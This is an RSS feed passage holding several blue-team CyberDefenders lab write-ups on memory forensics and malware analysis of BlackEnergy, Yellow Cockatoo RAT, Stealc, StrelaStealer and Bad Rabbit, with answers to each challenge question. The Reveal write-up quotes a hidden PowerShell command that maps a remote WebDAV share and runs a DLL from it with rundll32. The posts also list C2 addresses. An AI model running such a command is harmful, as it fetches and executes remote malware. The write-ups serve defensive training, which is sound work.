in this room.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb66ac4ce192" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BlackEnergy v2 Malware Analysis — Memory Dump Investigation]]></title>
            <link>https://medium.com/@abdelrahman0x1/blackenergy-v2-malware-analysis-memory-dump-investigation-0f72fd5a4c54?source=rss-bac32a292b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/0f72fd5a4c54</guid>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[soc]]></category>
            <dc:creator><![CDATA[Abdelrahman Metwaly]]></dc:creator>
            <pubDate>Tue, 04 Mar 2025 14:22:10 GMT</pubDate>
            <atom:updated>2025-03-04T14:22:10.632Z</atom:updated>
            <content:encoded><![CDATA[<h3>BlackEnergy v2 Malware Analysis — Memory Dump Investigation</h3><p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/blackenergy/">CyberDefenders </a>Lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tRGgLPZlNXStI4T8a9BdWQ.jpeg" /></figure><h4><strong>Scenario:</strong><br>A multinational corporation has suffered a cyber attack, leading to the theft of sensitive data. The attack was executed using a previously unseen variant of <strong>BlackEnergy v2</strong> malware. As a SOC analyst, you are tasked with analyzing a memory dump from the infected machine to determine the <strong>attack scope, impact, and indicators of compromise (IOCs).</strong></h4><h4><strong>Tools Used:</strong></h4><ul><li><strong>Volatility</strong> (for memory forensics)</li></ul><h3>Q1: Which volatility profile would be best for this machine?</h3><p>I used <a href="https://github.com/volatilityfoundation/volatility/releases/tag/2.6.1">volatility</a> 2.6, The imageinfo command is the first step in memory forensics using Volatility. It helps identify the correct profile for further analysis, ensuring accurate extraction of forensic artifacts</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YkWT_RXKKdwFBPswHqzguA.png" /></figure><pre>The Answer: WinXPSP2x86</pre><h3>Q2: How many processes were running when the image was acquired?</h3><p>After listing the processes using pslist, we can analyze the active processes to determine which were running when the memory image was captured</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*96kv5RNz5MJu_6GQdfzN7w.png" /></figure><p>We initially identified 25 processes, but only 19 were actively running at the time of memory acquisition. Six processes had already been terminated: taskmgr.exe, rootkit.exe, cmd.exe, and three instances of notepad.exe</p><pre>The Answer: 19</pre><h3>Q3: What is the process ID of cmd.exe?</h3><p>Every running process on a system is assigned a unique Process ID (PID), which distinguishes it from others and enables process management. Using the pslist plugin in Volatility, we can extract these PIDs for analysis</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZr4z3n-swRachtAhwy5MA.png" /></figure><pre>The Answer: 1960</pre><h3>Q4: What is the name of the most suspicious process?</h3><p>By analyzing the pslist output, we can spot suspicious processes. The presence of rootkit.exe is unusual and raises concerns due to its name. To confirm its legitimacy, we can further validate it using the pstree plugin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/1*FnKHLZOH-8I8XxfTWrzr_w.png" /></figure><pre>The Answer: rootkit.exe</pre><h3>Q5: Which process shows the highest likelihood of code injection?</h3><p>The malfind plugin can be used to detect suspicious activity. It scans the memory dump for signs of code injection, such as injected DLLs and other memory manipulation techniques that may indicate malicious behavior</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*Pn5jFEkEWMn0VgtekSY1yg.png" /></figure><p>In the output of <strong>malfind</strong>, we can see a suspicious process: <strong>svchost.exe</strong>. But how do we know it’s suspicious?</p><p>One key indicator is <strong>VadS Protection: PAGE_EXECUTE_READWRITE</strong>, which means the memory region is both <strong>writable and executable</strong>. This is unusual because legitimate executables typically have stricter memory protections. This suggests that the executable wasn’t loaded normally — it was <strong>injected</strong>.</p><p>We also notice the <strong>Magic Number</strong>, a <strong>2-byte value (0x4D5A)</strong>, which identifies the file as an <strong>MZ-format executable</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g3nrBtsydv9phGRQ6vKopA.png" /></figure><p>This process exhibits the highest likelihood of code injection. Additionally, based on the challenge name, it is clear that we are dealing with the well-known Rootkit BlackEnergy. BlackEnergy is a sophisticated rootkit used by cybercriminals to attack organizations and critical infrastructure, particularly in Ukraine. First discovered in 2007, it has evolved through multiple versions, making it increasingly difficult to detect and remove</p><pre>The Answer: svchost.exe</pre><h3>Q6: There is an odd file referenced in the recent process. Provide the full path of that file.</h3><p>By using the PID of process 880, we can search for its handles to analyze its interactions with the system. Handles help reveal process relationships, open files, network connections, and potentially hidden or malicious activity. To focus specifically on file handles, as required by the challenge, we can use the handles plugin with the process ID and filter for file-related entries using the command: handles -p 880 -t File</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*InZYKC5_PD5Rfyc9VQXIQg.png" /></figure><p>We identified a suspicious file path: \Device\HarddiskVolume1\WINDOWS\system32\drivers\str.sys. This anomaly suggests potential malicious activity. Additionally, we can confirm its presence by analyzing the strings output of the dumped process</p><pre>The Answer: C:\WINDOWS\system32\drivers\str.sys</pre><h3>Q7: What is the name of the injected dll file loaded from the recent process?</h3><p><a href="https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection">Reflective DLL Injection</a> is a method attackers use to inject a DLL into a target process directly from memory instead of writing it to disk. To detect this, we can use the ldrmodules plugin with the PID of process 880. This plugin lists all DLLs loaded into the process’s memory, providing details such as base addresses, size, and file system path. Analyzing this information can help identify malicious DLLs injected into memory or pinpoint modules responsible for unusual process behavior</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t0fdJb8Roy95pGHy9WvHVQ.png" /></figure><p>Here, we observe that \WINDOWS\system32\msxml3r.dll appears unlinked in all three ldrmodules lists. This indicates DLL hiding, a technique where a DLL is removed from the doubly linked lists in the Process Environment Block (PEB) to evade detection—making it a suspicious finding</p><pre>The Answer: msxml3r.dll</pre><h3>Q8: What is the base address of the injected dll?</h3><p>I attempted to retrieve the DLL using the <strong>dlllist</strong> plugin but found no trace of it. This suggests that the DLL might have been <strong>hidden</strong> or <strong>unloaded</strong> from the process’s memory. To dig deeper, we can revert to <strong>malfind</strong>, focusing on <strong>PID 880</strong>, to uncover it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*5Hrx0rY0anHIyeRYs6BDxw.png" /></figure><pre>The Answer: 0x980000</pre><p>Thank you for taking the time to read this write-up! If you found it helpful, I’d greatly appreciate a thumbs up.</p><p>Until next time, take care and stay secure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0f72fd5a4c54" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unveiling Yellow RAT: A Deep Dive into Malware Analysis and Threat Mitigation]]></title>
            <link>https://medium.com/@abdelrahman0x1/unveiling-yellow-rat-a-deep-dive-into-malware-analysis-and-threat-mitigation-799b09092292?source=rss-bac32a292b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/799b09092292</guid>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Abdelrahman Metwaly]]></dc:creator>
            <pubDate>Fri, 28 Feb 2025 23:07:28 GMT</pubDate>
            <atom:updated>2025-02-28T23:07:28.582Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/yellow-rat/">CyberDefenders </a>Lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LXkJoytjc9vZCtqTusxm5Q.jpeg" /></figure><h4><strong>Scenario: During a regular IT security check at GlobalTech Industries, abnormal network traffic was detected from multiple workstations. Upon initial investigation, it was discovered that certain employees’ search queries were being redirected to unfamiliar websites. This discovery raised concerns and prompted a more thorough investigation. Your task is to investigate this incident and gather as much information as possible.</strong></h4><h3>Q1: Understanding the adversary helps defend against attacks. What is the name of the malware family that causes abnormal network traffic?</h3><p>I searched for the hash on VirusTotal and Hybrid Analysis. On VirusTotal, the malware was identified as <strong>Yellow Cockatoo RAT</strong> in the community section, while on Hybrid Analysis, it appeared under External References</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0Mfd_bZWcQCTtCbkdHsdfA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Wf7JuYi_8SDeNF-A_lDxw.png" /></figure><pre>The Answr: Yellow Cockatoo Rat</pre><h3>Q2: As part of our incident response, knowing common filenames the malware uses can help scan other workstations for potential infection. What is the common filename associated with the malware discovered on our workstations?</h3><p>The Red Canary blog provides an in-depth analysis of Yellow Cockatoo RAT, detailing its functionality and impact. In this analysis, a specific sample of the malware was examined, identified by the file name <strong>111bc461–1ca8–43c6–97ed-911e0e69fdf8.dll</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J-qVeQAm1f8dd19IgZ_qkw.png" /></figure><pre>The Answer: 111bc461-1ca8-43c6-97ed-911e0e69fdf8.dll</pre><h3>Q3: Determining the compilation timestamp of malware can reveal insights into its development and deployment timeline. What is the compilation timestamp of the malware that infected our network?</h3><p>On VirusTotal, under the <strong>Details</strong> section, we can find comprehensive information about the malware. In the <strong>Portable Executable (PE) Info</strong> list, the <strong>Compilation Timestamp</strong> is displayed, providing insights into when the malware was originally compiled</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZFnUijV1z_kNDOsSQPhCpQ.png" /></figure><pre>The Answer: 2020-09-24 18:26</pre><h3>Q4: Understanding when the broader cybersecurity community first identified the malware could help determine how long the malware might have been in the environment before detection. When was the malware first submitted to VirusTotal?</h3><p>In the same section on VirusTotal, the <strong>First Submitted</strong> can also be found in the <strong>History</strong> list, providing additional context on the malware’s timeline</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DfXOyaCkBDsAybR74d5JqA.png" /></figure><pre>The Answer: 2020-10-15 02:47</pre><h3>Q5: To completely eradicate the threat from Industries’ systems, we need to identify all components dropped by the malware. What is the name of the <strong>.dat</strong> file that the malware dropped in the <strong>AppData</strong> folder?</h3><p>Red Canary provides a detailed analysis of the malware, examining its behavior, indicators of compromise, and attack techniques</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pR5PV586jh_jZ0LCaZsSDQ.png" /></figure><pre>The Answer: solarmarker.dat</pre><h3>Q6: It is crucial to identify the C2 servers with which the malware communicates to block its communication and prevent further data exfiltration. What is the C2 server that the malware is communicating with?</h3><p>In the previous question, we identified the domain of the C2 server associated with the malware</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FJCP3gr18BILZPqljsi5jA.png" /></figure><pre>The Answer: https://gogohid.com</pre><p>Thank you for taking the time to read this write-up! If you found it helpful, I’d greatly appreciate a thumbs up.</p><p>Until next time, take care and stay secure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=799b09092292" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Oski Malware: A Forensic Analysis -Based Infostealer Attack]]></title>
            <link>https://medium.com/@abdelrahman0x1/oski-malware-a-forensic-analysis-of-a-powerpoint-based-infostealer-attack-c3be8280a60e?source=rss-bac32a292b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3be8280a60e</guid>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[blueyard]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Abdelrahman Metwaly]]></dc:creator>
            <pubDate>Sun, 16 Feb 2025 06:02:02 GMT</pubDate>
            <atom:updated>2025-02-16T06:03:22.302Z</atom:updated>
            <content:encoded><![CDATA[<p>An In-Depth Investigation of the Oski Threat Using <a href="https://cyberdefenders.org/blueteam-ctf-challenges/oski">CyberDefenders Lab</a> Environment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SF2Ys3D4RnIzipHo_XYpMg.jpeg" /></figure><h3>Introduction</h3><p>In this lab, we are tasked with investigating a potential cybersecurity incident involving a suspicious email and a malicious file download. The scenario begins with an accountant receiving an email titled “Urgent New Order” from a client, which contains an invoice attachment. Upon attempting to access the file, the accountant discovered that the order information was fraudulent. Shortly after, the company’s SIEM solution triggered an alert indicating the download of a potentially malicious file. Preliminary investigation suggested that the attached PowerPoint (PPT) file might be the cause of the alert. This write-up will detail the process of analyzing it, identifying any malicious behavior, and determining the scope of the security breach to mitigate the risk and prevent future incidents.</p><h3>Q1: To effectively categorize and understand the behavior and intent of this potential malware, it is crucial to identify its family. What is the name of the malware family for the malicious executable found within the PPT?</h3><p>in Lab file we can find hash md5, we can search with it in Virustotal and find all Details about hash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q8yUsZj1Ym0fRqTO-YM-Iw.png" /></figure><p>you can find name of family of malware</p><pre>The Answer: Stealc</pre><h3>Q2: Determining the creation time of the malware can provide insights into its origin. What was the time of malware creation?</h3><p>In Details section we can find all info about malware Basic properties, History and Names</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o41zeYKWRM_ZaPJZoOSF7Q.png" /></figure><pre>The Answer: 2022-09-28 17:40</pre><h3>Q3: Identifying the command and control (C2) server that the malware communicates with can help trace back to the attacker. Which C2 server does the malware in the PPT file communicate with?</h3><p>In the <strong>Relations</strong> section, we can find information about all connection channels and the associated related files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-9kFpufiRp0ZR7Vr2_c68g.png" /></figure><pre>The Answer:  http://171.22.28.221/5c06c05b7b34e8e6.php</pre><h3>Q4: Identifying the initial actions of the malware post-infection can provide insights into its primary objectives. What is the first library that the malware requests post-infection?</h3><p>we will use <a href="https://any.run/">Any.run</a> website to analyze the malware</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l21BRrAErjknb0DxeB8aBQ.png" /></figure><p>we should search for the first actions taken by the malware after execution, we will find it in the Processes section on the right (VPN.exe)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*L7lISDl22cfzHtk6Db0rfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*4xxgVmNvT4PC2k95FSq9oA.png" /></figure><p>this the process happened after execution</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LF3maS0Ya4Mk4TcksYRWIg.png" /></figure><p>this DLL file is the <strong>first library the malware requests post-infection</strong></p><pre>The Answer: SQLITE3.DLL</pre><h3>Q5: Upon examining the malware, it appears to utilize the RC4 key for decrypting a base64 string. What specific RC4 key does this malware use?</h3><p>In <strong>ANY.RUN</strong>, the malware configuration of this file is available. To access it, simply click on the <strong>“Malware Configuration”</strong> (<strong>CFG</strong>) button, which will open a detailed <strong>Malware Configuration</strong> window.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*Fjz5lnPDI2vn5Rj7vFbPkw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I9wmcwMX1WsJjLBp3UWTFA.png" /></figure><p>In the <strong>Malware Configuration</strong> window, we can find the <strong>C2 URL</strong> and the <strong>RC4 key</strong> used by the malware</p><pre>The Answer: 5329514621441247975720749009</pre><h3>Q6: Identifying an adversary’s techniques can aid in understanding their methods and devising countermeasures. Which MITRE ATT&amp;CK technique are they employing to steal a user’s password?</h3><p>In the <strong>process details</strong> of the malware (<strong>VPN.exe</strong>), you can find the <strong>Danger process</strong>, which includes the <strong>MITRE ATT&amp;CK techniques</strong> associated with each action performed by the malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*Mx7efPi53osKyslfR9p3EA.png" /></figure><p>These techniques are used for <strong>stealing credentials from users</strong>, categorized under <strong>MITRE ATT&amp;CK technique T1555</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a-J6JcBY5_WtfMYUTj9FoQ.png" /></figure><pre>The Answer: T1555</pre><h3>Q7: Malware may delete files left behind by the actions of their intrusion activity. Which directory or path does the malware target for deletion?</h3><p>Examining the <strong>process details</strong>, we can monitor whether a <strong>CMD process</strong> is spawned under the malware process. This process executes a <strong>timeout command for 5 seconds</strong> before deleting the <strong>malware executable</strong> and associated <strong>DLL files</strong> located in the <strong>ProgramData</strong> folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/921/1*knZvjmgrmwFOGYMALAlt8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*4WFD8ZBjluAcm1ZNtz_yoQ.png" /></figure><pre>The Answer: C:\ProgramData</pre><h3>Q8: Understanding the malware’s behavior post-data exfiltration can give insights into its evasion techniques. After successfully exfiltrating the user’s data, how many seconds does it take for the malware to self-delete?</h3><p>As mentioned in the previous question, the malware waits <strong>5 seconds</strong> before deleting itself</p><pre>The Answer: 5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d8_GJpgq5ASfDPjXs_3hWg.png" /></figure><p>Thank you for taking the time to read this write-up! If you found it helpful, I’d greatly appreciate a thumbs up.</p><p>Until next time, take care and stay secure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3be8280a60e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Memory Forensics: Tracing a Financial Data Breach]]></title>
            <link>https://medium.com/@abdelrahman0x1/memory-forensics-tracing-a-financial-data-breach-894445d1d2aa?source=rss-bac32a292b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/894445d1d2aa</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[endpoint-forensics]]></category>
            <category><![CDATA[endpoint-security]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <dc:creator><![CDATA[Abdelrahman Metwaly]]></dc:creator>
            <pubDate>Thu, 06 Feb 2025 17:22:10 GMT</pubDate>
            <atom:updated>2025-02-06T23:00:20.713Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://cyberdefenders.org/blueteam-ctf-challenges/reveal/">Reveal</a> Lab from CyberDefenders</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Gqy0IotBqWAOvsrbljRdw.jpeg" /></figure><h4>Introduction: As a forensic investigator at a financial institution, the security and integrity of sensitive financial data are paramount. Recently, an alert from the Security Information and Event Management (SIEM) system flagged unusual activity on a workstation with access to critical financial resources. This raised suspicions of a potential breach, prompting immediate action. To assess the scope and origin of the anomaly, a memory dump from the compromised machine was retrieved. This investigation aims to analyze the memory for signs of compromise, trace the source of the unusual activity, and evaluate the impact to ensure an effective response to contain the incident and mitigate any further risk.</h4><h3>Q1: Identifying the name of the malicious process helps in understanding the nature of the attack. What is the name of the malicious process?</h3><p>I used volatility tool and run command windows process list “windows.pslist”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TezUW5_F999r2BT2et5W4w.png" /></figure><p>I doubt this process</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qUY0s4d8hHnEBnJ_KwEKbg.png" /></figure><p>so I looked into the details of the process with the following command “windows.pstree” this is result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uq-ndCJZEXmLVT_5dUHi8A.png" /></figure><pre><br>PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime Audit Cmd Path<br><br>3692 4120 powershell.exe 0xc90c0358b080 17 - 1 False 2024-07-15 07:00:03.000000 UTC N/A \Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe  -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe<br><br>* 2416 3692 net.exe 0xc90c08fd6080 5 - 1 False 2024-07-15 07:00:06.000000 UTC N/A \Device\HarddiskVolume3\Windows\System32\net.exe &quot;C:\Windows\system32\net.exe&quot; use \\45.9.74.32@8888\davwwwroot\ C:\Windows\system32\net.exe<br><br>* 6892 3692 conhost.exe 0xc90c0a09b0c0 5 - 1 False 2024-07-15 07:00:03.000000 UTC N/A \Device\HarddiskVolume3\Windows\System32\conhost.exe \??\C:\Windows\system32\conhost.exe 0x4 C:\Windows\system32\conhost.exe<br><br>Time Stamp: Thu Feb  6 08:20:34 2025</pre><p>From the output , it appears that the malicious activity is associated with <strong>powershell.exe</strong> (PID 3692). Here&#39;s a breakdown of the findings and why this process is suspicious:</p><p>The powershell.exe process is executing a command with the -windowstyle hidden flag, which hides the PowerShell window from the user</p><pre>powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry</pre><p>This command:</p><ul><li>Maps a network drive to a remote IP address (45.9.74.32) using the net use command.</li><li>Executes a malicious DLL (3435.dll) using rundll32</li></ul><p>This is Malicious because of these points:</p><ul><li><strong>Hidden PowerShell Execution:</strong> The use of -windowstyle hidden is a common tactic to avoid detection.</li><li><strong>Remote DLL Execution:</strong> The execution of a DLL (3435.dll) from a remote server is highly suspicious and indicative of malware.</li><li><strong>Network Drive Mapping:</strong> The net use command to map a drive to a remote IP suggests data exfiltration or lateral movement.</li></ul><pre>The Answer: Powershell.exe</pre><h3>Q2: Knowing the parent process ID (PPID) of the malicious process aids in tracing the process hierarchy and understanding the attack flow. What is the parent PID of the malicious process?</h3><p>from the previous question, we can find from the result in the Volatility tool</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xwjBNSg-Cx-YGAD4RfWApA.png" /></figure><pre>The Answer: 4120</pre><h3>Q3: Determining the file name used by the malware for executing the second-stage payload is crucial for identifying subsequent malicious activities. What is the file name that the malware uses to execute the second-stage payload?</h3><p>The powershell.exe process (PID 3692) executed the following command:</p><pre>powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry</pre><ul><li>The rundll32 command is used to execute the DLL (3435.dll) with the entry point entry.</li><li>The DLL (3435.dll) is hosted on a remote server at \\45.9.74.32@8888\davwwwroot\.</li><li>This is a common technique for second-stage payload delivery, where the initial malware (in this case, the PowerShell script) downloads and executes additional malicious components.</li></ul><pre>The Answer: 3435.dll</pre><h3>Q4: Identifying the shared directory on the remote server helps trace the resources targeted by the attacker. What is the name of the shared directory being accessed on the remote server?</h3><p>from the previous question we can find The DLL (3435.dll) is hosted on a remote server at \\45.9.74.32@8888\davwwwroot\</p><pre>The Answer: davwwwroot</pre><h3>Q5: What is the MITRE ATT&amp;CK sub-technique ID that describes the execution of a second-stage payload using a Windows utility to run the malicious file?</h3><p><strong>T1218.011 — Signed Binary Proxy Execution: Rundll32</strong>: The use of rundll32 to execute the malicious DLL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G0XS_3i6jGYq075swi5IZw.png" /></figure><pre>The Asnwer: T1218.011</pre><h3>Q6: Identifying the username under which the malicious process runs helps in assessing the compromised account and its potential impact. What is the username that the malicious process runs under?</h3><p>I run the command “windows.session” to list the users associated with different sessions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iyx_fJoE9-xm9rP42iFvlA.png" /></figure><p>The output from the windows.sessions.Sessions plugin reveals the username under which the malicious the powershell.exe process is running:</p><ul><li><strong>Username</strong>: <strong>Elon</strong></li><li><strong>Session ID</strong>: 1</li><li><strong>Process ID</strong>: 3692</li><li><strong>Process</strong>: powershell.exe</li><li><strong>Create Time</strong>: 2024–07–15 07:00:03 UTC</li></ul><p>This indicates that the malicious the powershell.exe process is running under the user <strong>Elon</strong> on the system <strong>DESKTOP-T51LU0E</strong>. This information is crucial for assessing the impact of the compromised account</p><pre>The Answer: Elon</pre><h3>Q7: Knowing the name of the malware family is essential for correlating the attack with known threats and developing appropriate defenses. What is the name of the malware family?</h3><p>we have an IP we can search with on Virustotal (45.9.74.32)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nq4FHhzp9GcFFCFKg8g3bw.png" /></figure><pre>The Answer: STRELASTEALER</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YScmtoHSmdi5IzAdx6xyDg.png" /></figure><p>Thank you for taking the time to read this write-up! If you found it helpful, I’d greatly appreciate a thumbs up.</p><p>Until next time, take care and stay secure!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=894445d1d2aa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BRabbit Lab: Investigating a Spear Phishing Ransomware Incident at Drumbo]]></title>
            <link>https://medium.com/@abdelrahman0x1/brabbit-lab-investigating-a-spear-phishing-ransomware-incident-at-drumbo-18972c39eba9?source=rss-bac32a292b9d------2</link>
            <guid isPermaLink="false">https://medium.com/p/18972c39eba9</guid>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[blueteamlabs]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[Abdelrahman Metwaly]]></dc:creator>
            <pubDate>Wed, 05 Feb 2025 14:41:11 GMT</pubDate>
            <atom:updated>2025-02-05T14:41:11.021Z</atom:updated>
            <content:encoded><![CDATA[<p>Uncovering the Attack Chain and Identifying the Threat Actor Behind the Ransomware Campaign</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WgLNB8UfZynRkNeUPiTYwg.jpeg" /><figcaption><a href="https://www.malwarebytes.com/blog/news/2017/10/badrabbit-closer-look-new-version-petyanotpetya">BRABBIT </a>Lab</figcaption></figure><h4>Scenario: You are an investigator assigned to assist Drumbo, a company that recently fell victim to a ransomware attack. The attack began when an employee received an email that appeared to be from the boss. It featured the company’s logo and a familiar email address. Believing the email was legitimate, the employee opened the attachment, which compromised the system and deployed ransomware, encrypting sensitive files. Your task is to investigate and analyze the artifacts to uncover information about the attacker.</h4><h3>Q1: The phishing email used to deliver the malicious attachment showed several indicators of a potential social engineering attempt. Recognizing these indicators can help identify similar threats in the future.<br>What is the suspicious email address that sent the attachment?</h3><p>To begin, we have a .eml file. I will open it using an email client or an online .eml viewer. For this process, I will utilize the following website</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DJnzSjMhAK5SGa_kNe1n6A.png" /></figure><p>I uploaded the file to the website, and here are the results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yCPdcqC4ARYC55SGAs_z4Q.png" /></figure><p>As we can see, the sender’s email address is displayed</p><pre>The Answer: theceojamessmith@Drurnbo.com</pre><h3>Q2: The ransomware was identified as part of a known malware family. Determining its family name can provide critical insights into its behavior and remediation strategies.<br>What is the family name of the ransomware identified during the investigation?</h3><p>I will upload the file to the VirusTotal website and locate the family name in the Detection section</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DvLaNDIAm41BIlDD-Na3XA.png" /></figure><pre>The Answer: BadRabbit</pre><h3>Q3: Upon execution, the ransomware dropped a file onto the compromised system to initiate its payload. Identifying this file is essential for understanding its infection process.<br>What is the name of the first file dropped by the ransomware?</h3><p>I uploaded the file to the Hybrid Analysis website, where I found multiple results. I examined each result with a 100% threat level. I didn’t find any details in the first result</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yZqxjO5qNxh9LFuVSTThyQ.png" /></figure><p>so I moved to the second, where I located it in the extracted files section I found it under the title ‘infpub.dat’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fTMhsVbyeveQ6wf-Uspzww.png" /></figure><pre>The Answer: infpub.dat</pre><h3>Q4: Inside the dropped file, the malware contained hardcoded artifacts, including usernames and passwords that could provide clues about its origins or configuration.<br>What is the only person’s username found within the dropped file?</h3><p>In public research, the <strong>Bad Rabbit ransomware</strong> was found to utilize a list of hardcoded usernames during its propagation. According to SentinelOne’s analysis, this list included usernames such as <strong>“Admin,” “Administrator,” “alex,” “asus,” “backup,” “boss,” “buh,” “ftp,” “ftpadmin,” “ftpuser,” “Guest,” “manager,” “nas,” “nasadmin,” “nasuser,” “netguest,” “operator,” “other user,” “rdp,” “rdpadmin,” “rdpuser,” “root,” “superuser,” “support,” “Test,” “User,” “User1,” “user-1,”</strong> and <strong>“work.”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u9X7VJyZ_Pt980FniY1VKA.png" /></figure><pre>The Answer: Alex</pre><h3>Q5: After execution, the ransomware communicated with a C2 server. Recognizing its communication techniques can assist in mitigation.<br>What MITRE ATT&amp;CK sub-technique describes the ransomware’s use of web protocols for sending and receiving data?</h3><h4>Understanding Ransomware Behavior</h4><p>Ransomware often uses common application-layer protocols, like HTTP or HTTPS, for:</p><ul><li>Sending victim-related data (e.g., system information, encryption key).</li><li>Receiving commands or additional payloads from the C2 server.</li></ul><p>These behaviors align with the MITRE ATT&amp;CK <strong>T1071: Application Layer Protocol</strong> technique, which covers adversary use of standard application-layer protocols for C2 purposes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6oWrVs6f0i28QxyZULxJw.png" /></figure><figure><img alt="" 